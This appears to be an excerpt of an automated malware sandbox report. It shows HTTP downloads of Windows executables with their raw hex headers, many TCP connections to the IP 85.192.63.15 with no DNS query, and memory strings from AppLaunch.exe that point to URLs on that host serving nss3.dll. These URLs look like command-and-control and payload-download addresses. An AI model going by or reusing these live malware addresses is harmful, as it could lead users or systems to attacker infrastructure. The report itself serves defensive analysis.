fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Apr 2023 05:41:58 GMTContent-Type: application/octet-streamContent-Length: 627128Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:36 GMTETag: "625483f8-991b8"Expires: Thu, 27 Apr 2023 06:11:58 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Apr 2023 05:41:59 GMTContent-Type: application/octet-streamContent-Length: 684984Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:40:08 GMTETag: "62548418-a73b8"Expires: Thu, 27 Apr 2023 06:11:59 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Apr 2023 05:42:00 GMTContent-Type: application/octet-streamContent-Length: 254392Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:58 GMTETag: "6254840e-3e1b8"Expires: Thu, 27 Apr 2023 06:12:00 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Apr 2023 05:42:00 GMTContent-Type: application/octet-streamContent-Length: 1099223Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 17:28:56 GMTETag: "62546558-10c5d7"Expires: Thu, 27 Apr 2023 06:12:00 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 00 00

Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.15

Source: AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63
Source: AppLaunch.exe, 00000003.00000003.258318335.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005179000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238105258.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.0000000005179000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.0000000005179000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005128000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.000000000516D000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005179000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005179000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005179000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005178000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.247223736.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258142692.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/
Source: AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260623520.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260242541.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258142692.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000515F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000515F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005158000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.000000000516E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d
Source: AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260808032.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260312599.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259167015.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d&
Source: AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d1
Source: AppLaunch.exe, 00000003.00000003.258318335.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258142692.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d7hL2vK/nss3.dll
Source: AppLaunch.exe, 00000003.00000003.260135623.000000000516D000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260623520.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260242541.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.000000000516E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d7hL2vK/nss3.dllG
Source: AppLaunch.exe, 00000003.00000003.259480810.0000000005171000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dT
Source: AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260808032.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260312599.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259167015.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dW
Source: AppLaunch.exe, 00000003.00000003.257945990.000000000515F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dj
Source: AppLaunch.exe, 00000003.00000003.259480810.0000000005158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41ds
